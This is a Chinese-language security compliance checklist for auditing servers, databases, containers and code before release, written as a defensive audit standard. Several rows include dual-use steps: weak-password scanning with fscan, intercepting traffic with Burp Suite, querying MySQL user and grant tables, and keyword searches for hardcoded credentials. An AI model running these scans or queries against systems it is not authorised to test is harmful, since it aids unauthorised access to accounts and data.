| 操作系统安全 | 操作系统生命周期 | 禁止使用已经停止维护的操作系统版本，如：Windows XP及以下、CentOS 5及以下、Ubuntu 14.04及以下。 | 红线问题 | 手工测试 | / | 检查操作系统版本，比对《常用软件停止维护列表》：https://endoflife.date/，查看操作系统版本是否停止维护 | 不使用已停止维护的操作系统版本 |
| 操作系统加固 | 1、需进行安全配置、加固措施，禁止存在无密码、弱口令、默认密码的情况； 2、需使用平台扫描，禁止出现中危、高危、严重级别的漏洞。 |
红线问题 | 工具测试 | 1. fscan |
1、使用fscan进行弱密码扫描 2、 使用平台漏洞扫描工具扫描系统漏洞 |
1、不出现无密码、弱口令、默认密码的情况 2、不出现中高危以上安全漏洞。 |
|
| 权限控制 | 可执行程序和脚本的权限 | 属于低权限用户的脚本或程序不能以高权限帐号运行，以高权限运行的脚本或程序只允许其属主拥有写权限。 1、如果可执行程序或脚本以root权限运行（如通过sudo到root来执行），程序或脚本及其所有上级目录对非root用户不能有写权限。 2、如果以root权限执行的脚本有从其它文件中读取内容并执行或调用了其它脚本或程序，则其它文件、脚本或程序也必须满足子检查项第1点要求。 |
非合规问题 | 手工测试 | / | 1、 登录服务器，获取目标可执行程序或脚本； 2、 对每个可执行程序或脚本进行验证： 1）如果可执行程序或脚本不允许以root账号或sudo到root的方式执行： a. 程序或脚本的属主是否为非root用户，设计为不能以root帐号或通过sudo到root方式来运行，检查属主，如果是root，或可以root运行，则存在问题； b. 确认哪些用户需要执行该程序或脚本，如果只有一个用户需要运行，检查目录的属主是否为该执行命令的用户，检查目录/文件的权限是否为750，如果不是，则存在问题；如果有多个用户需要运行，检查目录的属主是否为这些用户中权限最高的一位用户，检查目录/文件的权限是否为755，如果不是，则存在问题； c. 检查是否只有属主有写权限，如果不是，则存在问题； 2）如果可执行程序或脚本允许以root权限运行或者通过sudo到root来执行： a. 检查其所有上级目录的权限，是否对非root用户没有写权限，如果不是，则存在问题； b. 另外，如果可执行程序或脚本中，又引用了其他的程序或脚本，也要对这些被引用的程序或脚本进行同样的测试，一层一层递归，直到程序或脚本中没有任何引用。 |
如果可执行程序或脚本以root权限运行（如通过sudo到root来执行），程序或脚本及其所有上级目录对非root用户不能有写权限。 |
| 应用软件的运行权限 | 防止程序本身出现漏洞时攻击者获得管理员的权限。 说明： 检查系统中所有应用程序的运行帐号是否都为linux下的root帐号或windows下的administrators群组帐号,如果是则不满足要求。一般而言，系统中不需要特权的、与用户直 接交互的、日常的事务进程必须以低权限账号运行，对于业务上涉及到大量系统底层操作 （如加载驱动、固件升级、进程管理等）或者必须使用高特权的事务进程可以采用高权限 账号运行。 |
非合规问题 | 手工测试 | / | 1、 登录服务器，检查系统中所有应用程序的运行帐号： 1）检查业务运行账号是否为linux下的root帐号； 检查业务对接的开源软件是否使用了软件自带的默认账号（例如，Nginx的账号Nobody）； 2）云服务业务大部分使用的mysql数据库，检查业务数据库账号是否为mysql的root账号（如果使用的其他数据库，类比即可）； 3）如果使用了ftpserver，检查业务是否配置了专门的sftp账号用于文件传输，如果不是，则存在问题； 上述内容违反任意一条，则不满足安全要求。 |
运行软件程序的帐号要尽可能的使用操作系统低权限的帐号，尤其是对外提供服务的和能够被远程访问的进程（如web服务、数据库、ftpserver、命令行CLI） 。 |
|
| 敏感数据 | 禁止将敏感信息进行明文存储 | 敏感数据的具体范围取决于产品具体的应用场景，产品应根据风险进行分析和判断。典型的敏感数据包括认证凭据（如口令、私钥、动态令牌卡）、加密秘钥、敏感个人数据（如银行账号、用户通信内容）等。 针对敏感数据，应根据业务场景采取加密、哈希、匿名化、去标识化等在内的处理方式处理后进行存储，不能出现明文存储在数据库、硬编码在代码。 |
红线问题 | 手工测试 | / | 用Search and replace搜索代码中的username,admin,passwd,password,userid等开发常用关键字，确保代码中没有明文账号密码数据。 | 1、敏感信息不应进行明文存储； 2、临时产生的敏感数据（写入内存或文件），应具有及时清除和释放机制； |
| 敏感数据加密传输 | 在非信任网络之间进行敏感数据的传输须采用安全传输通道和加密后传输。 1、采用安全传输通道可以有效避免中间人攻击； 2、对敏感数据进行单独加密可以有效防止来自客户端主机和服务端主机侧的流量监听行为。 |
红线问题 | 工具测试 | Burp Suite、charles、fiddler等 | 1、找到需要输入手机、身份证号、密码等敏感信息的场景页面； 2、抓取请求，查看请求协议是否为http，敏感数据是否进行单独加密。 |
在非信任网络之间进行敏感数据的传输须同时采用安全传输通道和加密后传输。 | |
| 镜像安全 | 最小化镜像 | 选用最小化基础镜像，即只包含项目确实需要的系统工具和库的镜像，就能最小化系统的攻击面，确保所用操作系统是安全的。 | 非合规问题 | 手工测试 | / | 查看dockerfile中基础镜像的引入是否仅满足基础功能需求 | 1、由于容器的本质是进程，一个容器代表一个进程，因此不同功能的应用应该尽量拆分为不同的容器，每个容器只负责单一业务进程。 2、应该避免安装无用的软件包，比如在一个 nginx 镜像中，并不需要安装 vim 、gcc 等开发编译工具。这样不仅可以加快容器构建速度，而且可以避免镜像体积过大。 3、 容器的核心是应用，因此只要基础镜像能够满足应用的运行环境即可。例如一个Java类型的应用运行时只需要JRE，并不需要JDK，因此基础镜像只需要安装JRE环境即可。 |
| 不使用特权用户启动容器 | 宿主机和容器所在的整个系统共享同一个内核，而内核只管理一套 uid 和 gid，因此容器内的用户和宿主机上的用户是同一个，它们对应的是同一个uid。默认情况下，容器中的进程以 root 用户权限运行，这个 root 用户和宿主机中的 root 是同一个用户。所以比较安全的做法是为容器中的进程指定一个具有合适权限的用户，而不要使用默认的 root 用户。 虽然 Docker 容器内的 root 用户直接是宿主机的 root 用户，但是 借助于Linux 内核的 Capabilities 机制，Linux 将传统超级用户的特权划分为多个单位。Docker 容器的非特权模式就可以满足 root 用户的权限最大化。使用docker run 命令创建容器将 docker run 命令的 privileged 参数设为 true，那么 Docker 容器的 root 权限将得到大幅度的提升。由于 Docker 容器与宿主机处于共享同一个内核操作系统的状态，因此，Docker 容器将完全拥有内核的管理权限 ，存在较大的安全隐患。 |
非合规问题 | 手工测试 | / | 1、进入容器，执行whoami，查看返回的用户身份是否为特权用户；尝试sudo等操作，查看是否可以提升为特权用户； 2、查看容器的启动命令，判断是否启用特权模式： 1）在容器外部，物理机上，可以用docker inspect查看或者，docker inspect container； 2）如果在容器内部。可以用 ps -ef 查看。其中1号进程就是启动命令。 |
1、 设定最小权限的user，一般不需要容器拥有 root 权限。为了尽量降低安全威胁，创建专门的用户和用户组，在 Dockerfile 中使用USER指定用户，确保以最小权限的用户身份运行容器应用。 2、使用docker run 命令创建容器时避免将 docker run 命令的 privileged 参数设为 true。 |
|
| 签名和校验镜像 | 在生产环境使用第三方提供的镜像运行我们的代码，意味着我们对这些镜像的极大信任。因此，必须保证我们拉取的容器镜像确实是发布者发布的镜像，没有被任何人篡改。发生镜像篡改，有可能是因为 Docker 客户端和镜像中心之间的中间人攻击，或者是发布者的身份被人盗用并在镜像中心发布了恶意镜像。签名和校验镜像，能够有效防范中间人攻击。 | 非合规问题 | 工具测试 | / | 使用命令：docker trust inspect 镜像ID，查看镜像是否签名 | 1、构建镜像时进行镜像的签名； 2、镜像分发部署时进行签名的校验 |
|
| 修正和监控漏洞 | 镜像中的软件若含有漏洞，会大大增加在运行时的攻击面。在CI管道中构建镜像时，必须要通过镜像扫描，方可通过构建阶段。不安全的镜像不应该被推送到生产环境中的镜像仓库中。 | 红线问题 | 工具测试 | trivy平台->安全检测->镜像扫描（任选） | 使用镜像安全扫描工具进行检测 | 不出现高危及以上安全问题 | |
| 第三方组件安全 | 软件生命周期 | 不得使用已经停止维护的软件版本，如：MySQL 5.5及以下。 | 红线问题 | 手工测试 | / | 根据常用软件停止维护列表：https://endoflife.date，比对现有操作系统版本，主要中间件等是否已停止维护。 | 不使用已停止维护的软件版本 |
| 权限管理 | 1、数据库若存在多个默认帐号，须将不使用的帐号禁用或删除； 2、数据库遵循最小化权限原则运行，禁止使用操作系统管理员账号运行数据库； 3、禁止直接使用数据库管理员账号读写数据库； 4、数据库系统本身的文件及用户的数据文件需要严格控制访问权限，只有数据库进程运行帐户以及管理员帐户才具备读写权限； 5、提供数据库口令复杂度检查功能，若口令不符合复杂度规则，可以禁止用户设置并进行警告。 |
红线问题 | 手工测试 | / | 1、使用如下语句检查数据库现有账号情况： SELECT * FROM mysql.user; 2、查看用户权限： SHOW GRANTS FOR 'username'@'hostname'; 3、查看数据库文件夹对应权限，默认路径为：/var/lib/mysql。权限说明一共10位，第1位代表文件类型，有两个数值：“d”和“-”，“d”代表目录，“-”代表非目录。后面9位可以拆分为3组来看，分别对应不同用户，2-4位代表所有者user的权限说明，5-7位代表组群group的权限说明，8-10位代表其他人other的权限说明。r代表可读权限，w代表可写权限，x代表可执行权限。 4、 执行show variables like 'validate_password%'; 查看数据库密码安全策略。 |
1、数据库不存在多余的默认账号； 2、数据库遵循最小化权限原则运行，不使用操作系统管理员账号运行数据库； 3、最小权限操作数据库，如只拥有读权限或只能对某些库表进行操作，推荐只允许进行DML操作，一般不授予DDL和DCL的权限； 4、数据库系统本身的文件及用户的数据文件需要严格控制访问权限，只有数据库进程运行帐户以及管理员帐户才具备读写权限； 5、推荐开启并使用较严格的数据库密码安全策略。 |
|
| 开源组件安全 | 1、产品如含有开源软件，则需对开源软件安全风险评估和法律风险评估，并对存在的安全漏洞进行修复或升级到无漏洞的版本。 2、每个版本需留存开源软件名称、版本号列表、开源协议。 说明： 1）GPL、LGPL、AGPL：要求开放源代码，eg.用AGPL库开发的Web站点，站点代码都要用AGPL，且对访问者提供源码； 2）BSD、Apache：可商用，开源无要求； 3）MIT：商用、开源都无要求。 |
红线问题 | 工具测试 | 平台->组件源 | 自动巡检：查看并对比组件组件告警问题是否已经全部修复 | 不出现安全组件源安全告警 | |
| 代码扫描 | 静态代码扫描 | 1、研发过程，发现BUG越晚，修复的成本越大； 2、缺陷引入的大部分是在编码阶段，但发现的更多是在单元测试、集成测试、功能测试阶段； 3、统计证明，在整个软件开发生命周期中，30% 至 70% 的代码逻辑设计和编码缺陷是可以通过静态代码分析来发现和修复的。 以上三点证明了，静态代码扫描在整个安全开发的流程中起着十分关键的作用，且实施这件事情的时间点需要尽量前移，因为扫描的节点左移能够大幅度的降低开发以及修复的成本，能够帮助开发人减轻开发和修复的负担，许多公司在推行静态代码扫描工具的时候会遇到大幅度的阻力，这方面阻力主要来自于开发人员，由于工具能力的有限性，会产生大量的误报，这就导致了开发人员很可能在做BUG确认的工作时花费了大量的无用时间。因此选择一款合适的静态代码分析工具变得尤为重要，合适的工具能够真正达到降低开发成本的效果。 |
红线问题 | 工具测试 | 平台->安全检测->代码检测 | 利用平台代码检测工具集成的Coverity进行静态代码扫描 | 无中高危问题 |
| 版权安全 | 不携带无版权的字体、模板 | 在使用受保护的作品前，通常都需要获得授权（可能是许可的方式，也可能是权利转让的方式）。对于某些特定用途的作品使用，授权可能来自集体管理组织，而不是直接来自权利人，例如授权在公开演唱会上使用某一首歌的情形。 在下述两种情况下，你可以使用受保护的作品而无需任何授权： 1、国家层面的立法可能有关于例外与限制的规定，允许你在某些情况下可以无需授权使用作品。 2、有时在特定的条件或是在允许特定用途的许可下，公众可以无需授权使用某些作品。使用这样的作品时，一定要注意特定的条件或许可是什么，以便弄清楚到底什么是权利人允许的，什么是权利人禁止的。常见的这类许可包括知识共享许可、MIT许可证（麻省理工最早提出的软件授权条款）、Mozilla公共许可证（Mozilla基金会所有的软件许可证）等。 |
红线问题 | 手工测试 | / | 查看应用自带字体、模板 | 查看应用自带字体、模板都已购买 |
| 禁用语及敏感用语 | 宣传稿件禁用语及敏感用语 | 我国的《广告法 》 是1995年2月1日起施行的，并在2015年4月24日通过修订并于2015年9月1日成立实施，主要是为了规范广告活动，保护消费者的合法权益，促进广告业的健康发展，维护社会经济秩序而制定的。 | 红线问题 | 手工测试 | / | 根据宣传稿件禁用语及敏感用语自查关键词 | 宣传稿件不出现禁用语及敏感用语 |
